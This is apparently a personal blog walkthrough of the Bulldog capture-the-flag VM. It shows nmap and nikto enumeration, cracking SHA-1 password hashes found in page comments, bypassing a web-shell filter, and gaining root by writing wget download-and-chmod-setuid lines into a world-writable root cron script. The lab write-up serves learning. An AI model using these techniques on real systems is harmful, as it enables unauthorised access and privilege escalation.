My Bulldog Walkthrough - ȜӎŗgͷͼȜ


Having made a few boot2root challenges of my own by now, I though it was about time I started posting up some walkthroughs of other people challenges that I’ve completed.

So, here is my walkthrough of the Bulldog Challenge VM from created by Nick Frichette aka @Frichette_n.

I found this one fairly easy to be honest but enjoyed it enough to want to write about it. Hopefully noobs like me find this useful as a learning resource.


Discovering the IP of the VM

So, after making sure the network adapter is set to share the same subnet as my Kali VM & booting up the VM in VirtualBox, I use the netdiscover command to find the IP Address:

[email protected]:~/VH/Bulldog# netdiscover -r

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------      52:54:00:12:35:00      1      60  Unknown vendor     08:00:27:16:1d:5f      1      60  PCS Systemtechnik GmbH  

I Know the VBox DHCP Server is using, so lets have a look at

Scanning For Open Ports

Next we use nmap to do a full port range scan for any open ports/services on

[email protected]:~/VH/Bulldog# nmap -p- --open

Starting Nmap 7.60 ( ) at 2017-10-08 22:17 BST
Nmap scan report for
Host is up (0.00014s latency).
Not shown: 65532 closed ports
23/tcp   open  telnet
80/tcp   open  http
8080/tcp open  http-proxy
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 53.99 seconds

We have discovered 3 open ports :D

At first glance these look like telnet, a http web server, and a http-proxy server. lets use the nc command to reveal a bit more information

Port 23 (Telnet?)

[email protected]:~/VH/Bulldog# nc -nv 23
(UNKNOWN) [] 23 (telnet) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2

Protocol mismatch.
[email protected]:~/VH/Bulldog#

Hmnnn, SSH pretending to be Telnet from the look of it. ;D

A quick check with the openssh client in verbose mode will confirm this as true and show us the host key if correct.

[email protected]:~/VH/Bulldog# ssh -v [email protected] -p 23
OpenSSH_7.5p1 Debian-10, OpenSSL 1.0.2l  25 May 2017
debug1: Remote protocol version 2.0, remote software version OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
debug1: match: OpenSSH_7.2p2 Ubuntu-4ubuntu2.2 pat OpenSSH* compat 0x04000000
debug1: Authenticating to as 'test'
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: [email protected]
debug1: kex: host key algorithm: ecdsa-sha2-nistp256
debug1: kex: server->client cipher: [email protected] MAC: <implicit> compression: none
debug1: kex: client->server cipher: [email protected] MAC: <implicit> compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: Server host key: ecdsa-sha2-nistp256 SHA256:x9FnuxYpQBMWhXgcXmOiH+G8OONEAS35OQKyKkcSmQc
debug1: Host '[]:23' is known and matches the ECDSA host key.
debug1: Next authentication method: password
[email protected]'s password: ^C 
[email protected]:~/VH/Bulldog#

Having confirmed this now, I note it down and move on to the next open port.

Port 80 (http?)

[email protected]:~/VH/Bulldog# nc -nv 80
(UNKNOWN) [] 80 (http) open

HTTP/1.0 200 OK
Date: Sun, 08 Oct 2017 21:35:21 GMT
Server: WSGIServer/0.1 Python/2.7.12
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=utf-8

I note the interesting server header WSGIServer/0.1 Python/2.7.12, & a quick Google search indicates this might be hosting a web application that has been developed using the django python web framework.

Port 8080 (http-proxy?)

[email protected]:~/VH/Bulldog# nc -nv 8080
(UNKNOWN) [] 8080 (http) open

HTTP/1.0 200 OK
Date: Sun, 08 Oct 2017 21:36:56 GMT
Server: WSGIServer/0.1 Python/2.7.12
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=utf-8

Hmnn… port 8080 is exactly the same. We’ll check that out shortly.

Check Out That Bulldog

Many walkthroughs I’ve seen like to focus on trying to exemplify speed-hacking. They usually do this by kicking off all the scripted command line tools and toys without so much as a glance at the actual website they’re attacking. They skip over the slow, manual, laborious parts of the methodologies we “[email protected]” use in the course of our “[email protected]”. The fact is, when it comes to UNDERSTANDING a webapp, an old fashioned eyeballing approach is often the best way to start. We can get to the scripted tools in a bit.

Good enumeration starts with slowing down to begin with in order to build a picture of the environment as it exists with all facets considered together. Even with very large webapps consisting of hundreds or thousands of pages, visiting the site and browsing around should be the first place to start.

This is how I often prevent myself from burrowing deep down a rabbit hole, and advise anyone else to take this approach too.

Browsing to both or we are presented with a security incident notice from Bulldog Industries.

[Bulldog Industries Landing Page]

Which leads us to this.

[Security Notice]

OK, so based on the information we just saw, the system is likely hosting a vulnerable webapp and any re-mediative actions that the IT/Security staff were taking are perhaps not complete due to the fact they have all been fired in a knee-jerk reaction by the CEO.

Also, a manual look at robots.txt reveals that there are still remnants of a web defacement being hosted

[Pwnd by - German Shepherd Hack Team]

I also had a look through the source code of the web pages above but didn’t find anything of note. After manually browsing the site lets see what we can find out by using some of the tools of the trade.

Web Enumeration

A commonly used tool for doing a basic vulnerability scan of a website is the command line tool nikto

lets give it a shot then…

[email protected]:~/VH/Bulldog# nikto -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2017-10-08 23:32:06 (GMT1)
+ Server: WSGIServer/0.1 Python/2.7.12
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3092: /dev/: This might be interesting...
+ 7552 requests: 17 error(s) and 3 item(s) reported on remote host
+ End Time:           2017-10-08 23:32:31 (GMT1) (25 seconds)
+ 1 host(s) tested

Not much to go off, but we do have an interesting sub directory /dev/ we can go look at.


Theres a nice amount of good info here, and the page also provides us with a link to the Web-Shell application described in the new bosses’s notice to the contractors.



Ohh but we need to authenticate. hmnn.. lets go back and have a closer look at the contact list of everyone in the dev team

Lets pull down any email addresses using the curl command combined with grep

[email protected]:~/VH/Bulldog# curl -s| grep @
	Team Lead: [email protected]<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
	Back-up Team Lead: [email protected]<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
	Front End: [email protected]<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
	Front End: [email protected]<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
	Back End: [email protected]<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
	Back End: [email protected]<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
	Database: [email protected]<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->

Cracking Hashes

Well well well, it looks like there is some sort of hash being stored with each email and job title. Let’s try to identify it.

[email protected]:~/VH/Bulldog# hash-identifier 
   #	 __  __ 		    __		 ______    _____	   #
   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   # #
   #						       [email protected] #

 HASH: 6515229daf8dbdc8b89fed2e60f107433da5f2cb

Possible Hashes:
[+]  SHA-1
[+]  MySQL5 - SHA-1(SHA-1($pass))

Nice, so it’s likely to be a SHA-1 hash.

Next I use some bash-foo to copy them off into a format that John-The-Ripper can parse.

[email protected]:~/VH/Bulldog# curl -s| grep @> h
[email protected]:~/VH/Bulldog# sed -i 's/://g' h && sed -i 's/<br>//g' h && sed -i 's/<!--/:/g' h && sed -i 's/-->//g' h
[email protected]:~/VH/Bulldog# cat h
	Team Lead [email protected]:6515229daf8dbdc8b89fed2e60f107433da5f2cb
	Back-up Team Lead [email protected]:38882f3b81f8f2bc47d9f3119155b05f954892fb
	Front End [email protected]:c6f7e34d5d08ba4a40dd5627508ccb55b425e279
	Front End [email protected]:0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
	Back End [email protected]:553d917a396414ab99785694afd51df3a8a8a3e0
	Back End [email protected]:ddf45997a7e18a25ad5f5cf222da64814dd060d5
	Database [email protected]:d8b8dd5e7f000b8dea26ef8428caf38c04466b3e

And I’m able to quickly crack two sets of creds using the rockyou.txt wordlist to generate and compare the RAW-SHA-1 hashes.

[email protected]:~/VH/Bulldog# john h --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 7 password hashes with no different salts (Raw-SHA1 [SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldog          (	Back End [email protected])
bulldoglover     (	Database [email protected])

Use the "--show" option to display all of the cracked passwords reliably
Session completed

Hmnn.. I now have some creds. But where to use them? I suspect there’s perhaps another web directory under an unknown name where we will be able to authenticate to the web application.

We can easily automate finding such an authentication page using the command line web brute force enumeration tool dirb. Using the default scanning options we quickly find where the login page lives.

[email protected]:~/VH/Bulldog# dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Mon Oct  9 01:02:27 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: ----
+ (CODE:200|SIZE:1071)

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----

---- Entering directory: ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')

---- Entering directory: ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')

END_TIME: Mon Oct  9 01:03:21 2017

Looks like we’ve found it. So I try to log in as Nick.

[Django Login]

Bingo, and I’m in, but don’t see much initially.

[Django User Portal]

Bypassing Web Filtering

However, when i go back to the Web-Shell area I see a whole new interface where I can execute some “limited” system commands. Evidently, the developer has applied some filtering for security. troll

[Using Web-Shell]

After playing around for a couple of minutes, I find that the filters are very easily bypassed by piping the output of echo to the shell.

[Filter Bypassed]

…but, the filter still catches the semi-colon if i try to chain commands.

[Using Web-Shell]

Not to worry, I test to see if one of my old favorites is allowed to execute (base64), and it works a treat ;D

[Using Web-Shell]

Creating A Custom Script

With all the information I’ve gathered so far safely tucked away in my head, I’m able to quickly use the Network tab in Firefox dev tools (CTRL+SHIFT+Q) to copy the curl POST request. Then I knock together a simple command execution script to make my life easier.

[Creating a Command Exec Script]

[Creating a Command Exec Script]

Now I can execute whatever I want in the terminal without too much fuss.

[email protected]:~/VH/Bulldog# ./ 'uname -a;cat /etc/passwd|grep bash;ls -al /home/'
Linux bulldog 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
total 16
drwxr-xr-x  4 root         root         4096 Aug 24 23:16 .
drwxr-xr-x 24 root         root         4096 Aug 26 03:07 ..
drwxr-xr-x  5 bulldogadmin bulldogadmin 4096 Sep 21 00:45 bulldogadmin
drwxr-xr-x  7 django       django       4096 Oct  8 18:10 django

Very quickly I come across a customPermissionApp and Note from Ashley in the bulldogadmin home folder under a hidden directory.

[email protected]:~/VH/Bulldog# ./ 'ls -al /home/bulldogadmin/.hiddenadmindirectory'
total 24
drwxrwxr-x 2 bulldogadmin bulldogadmin 4096 Sep 21 00:44 .
drwxr-xr-x 5 bulldogadmin bulldogadmin 4096 Sep 21 00:45 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin 8728 Aug 26 03:18 customPermissionApp
-rw-rw-r-- 1 bulldogadmin bulldogadmin  619 Sep 21 00:44 note
[email protected]:~/VH/Bulldog# ./ 'ls -al /home/bulldogadmin/.hiddenadmindirectory/note'
-rw-rw-r-- 1 bulldogadmin bulldogadmin 619 Sep 21 00:44 /home/bulldogadmin/.hiddenadmindirectory/note
[email protected]:~/VH/Bulldog# ./ 'cat /home/bulldogadmin/.hiddenadmindirectory/note'

I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going 
to work out great. Literally run the app, give your account password, and it will determine if 
you should have access to that file or not! 

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep 
in mind that it's still a prototype right now. I am about to get it working with the Django user 
account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one 
who needs to have root access sometimes?

Let me know what you think of it!


I play around with it for 5 minutes, but it smells like a rabbit hole to me. I should know, they are one of my specialties. The “customPermissionApp” hasn’t got any troll

so I keep looking…

And after a few more minutes I find a custom cronjob running every minute as the root user. Also, it conveniently calls a world writable AV scanner placeholder python script that I can modify.

[That's Very Interesting]

[email protected]:~/VH/Bulldog# ./ 'ls -al /etc/cron.d/'
total 24
drwxr-xr-x  2 root root 4096 Aug 26 03:05 .
drwxr-xr-x 94 root root 4096 Oct  8 12:58 ..
-rw-r--r--  1 root root  589 Jul 16  2014 mdadm
-rw-r--r--  1 root root  102 Apr  5  2016 .placeholder
-rw-r--r--  1 root root  191 Aug 24 22:38 popularity-contest
-rw-r--r--  1 root root   54 Aug 26 03:05 runAV
[email protected]:~/VH/Bulldog# ./ 'cat /etc/cron.d/runAV'
*/1 * * * * root /.hiddenAVDirectory/
[email protected]:~/VH/Bulldog# ./ 'ls -al /.hiddenAVDirectory/'
-rwxrwxrwx 1 root root 218 Oct  8 18:12 /.hiddenAVDirectory/
[email protected]:~/VH/Bulldog# ./ 'cat /.hiddenAVDirectory/'
#!/usr/bin/env python

# Just wanted to throw this placeholder here really quick.
# We will put the full AV here when the vendor is done making it.
# - Alan

Let’s do that then, but first, lets gain ssh access in order to have proper interactive shell

Gaining SSH Access

To do this, I need to insert my key into the location expected to contain authorized hosts keys for the django user. This is defined it the sshd_config file. So I check the path definition first in the config.

[email protected]:~/VH/Bulldog# ./ 'grep authorized_keys /etc/ssh/sshd_config'
#AuthorizedKeysFile	%h/.ssh/authorized_keys

Good, it’s in the default location. All I need to do now is create the directory for the current user django, then insert my public key into an authorized_keys file.

[email protected]:~/VH/Bulldog# ./ 'ls -al /home/django/'
total 40
drwxr-xr-x 5 django django 4096 Sep 21 00:45 .
drwxr-xr-x 4 root   root   4096 Aug 24 23:16 ..
-rw-r--r-- 1 django django  220 Aug 24 23:16 .bash_logout
-rw-r--r-- 1 django django 3771 Aug 24 23:16 .bashrc
drwxrwxr-x 3 django django 4096 Oct  9 12:06 bulldog
drwx------ 2 django django 4096 Sep 21 00:35 .cache
drwxrwxr-x 2 django django 4096 Aug 26 03:08 .nano
-rw-r--r-- 1 django django  655 Aug 24 23:16 .profile
-rw-r--r-- 1 django django    0 Aug 24 23:21 .sudo_as_admin_successful
-rw------- 1 django django  741 Sep 21 00:36 .viminfo
-rw-rw-r-- 1 django django  217 Aug 24 23:21 .wget-hsts
[email protected]:~/VH/Bulldog# ./ ''
[email protected]:~/VH/Bulldog# ./ 'mkdir /home/django/.ssh'
[email protected]:~/VH/Bulldog# ./ 'ls -al /home/django/|grep ssh'
drwxr-xr-x 2 django django 4096 Oct  9 12:09 .ssh
[email protected]:~/VH/Bulldog# ./ "echo $(cat ~/.ssh/ > /home/django/.ssh/authorized_keys"
[email protected]:~/VH/Bulldog# ./ "cut -d' ' -f3 /home/django/.ssh/authorized_keys"
[email protected]
[email protected]:~/VH/Bulldog# 

Coolio, Now I can just log into the ssh server as django.

[email protected]:~/VH/Bulldog# ssh [email protected] -p 23
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

 * Documentation:
 * Management:
 * Support:

54 packages can be updated.
25 updates are security updates.

Last login: Wed Sep 20 19:35:44 2017
/usr/bin/xauth:  file /home/django/.Xauthority does not exist
[email protected]:~$ id
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
[email protected]:~$ 

Gaining Root Privileges

Now we are ready to pop root. I start with creating a root shell exe on my kali machine.

[simple exe to set uid to 0 & spawn a bash shell]

I then compile this with gcc on my kali x64 system and use the Python SimpleHTTPServer Module to serve the file over http.

[email protected]:~/VH/Bulldog# gcc privesc.c -o privesc
privesc.c: In function ‘main’:
privesc.c:3:1: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
privesc.c:4:1: warning: implicit declaration of function ‘clearenv’ [-Wimplicit-function-declaration]
privesc.c:5:1: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
 system("/usr/bin/python -c 'import pty; pty.spawn(\"/bin/bash\")'");
[email protected]:~/VH/Bulldog# python -m SimpleHTTPServer 80
Serving HTTP on port 80 ...

Next, all i need to do is insert a few commands into the file to upload and allow SUID execution of my privesc file.

[email protected]:~$ cp /.hiddenAVDirectory/ /tmp/
[email protected]:~$ echo '#!/bin/bash' > /.hiddenAVDirectory/
[email protected]:~$ echo 'wget' >> /.hiddenAVDirectory/
[email protected]:~$ echo 'wget -O /tmp/privesc' >> /.hiddenAVDirectory/
[email protected]:~$ echo 'chmod 6777 /tmp/privesc' >> /.hiddenAVDirectory/
[email protected]:~$

Now we wait 1 minute for the file to be downloaded…

[email protected]:~/VH/Bulldog# python -m SimpleHTTPServer 80
Serving HTTP on port 80 ... - - [09/Oct/2017 17:04:01] "GET /privesc HTTP/1.1" 200 -

Then we can just pop root with it.

[email protected]:~$ /tmp/privesc 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[email protected]:/home/django# cd ~/
[email protected]:/root# cat congrats.txt 
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
[email protected]:/root# 

And there you have it.

If you’ve read this walkthrough all the way to the bottom then I salute you! ;D

Again, I’d like to give a big shout out to Nick Frichette for taking the time to create this fun challenge.

[DwanQue EvWee Bordieee]

I hope you enjoyed reading.

Thanks again,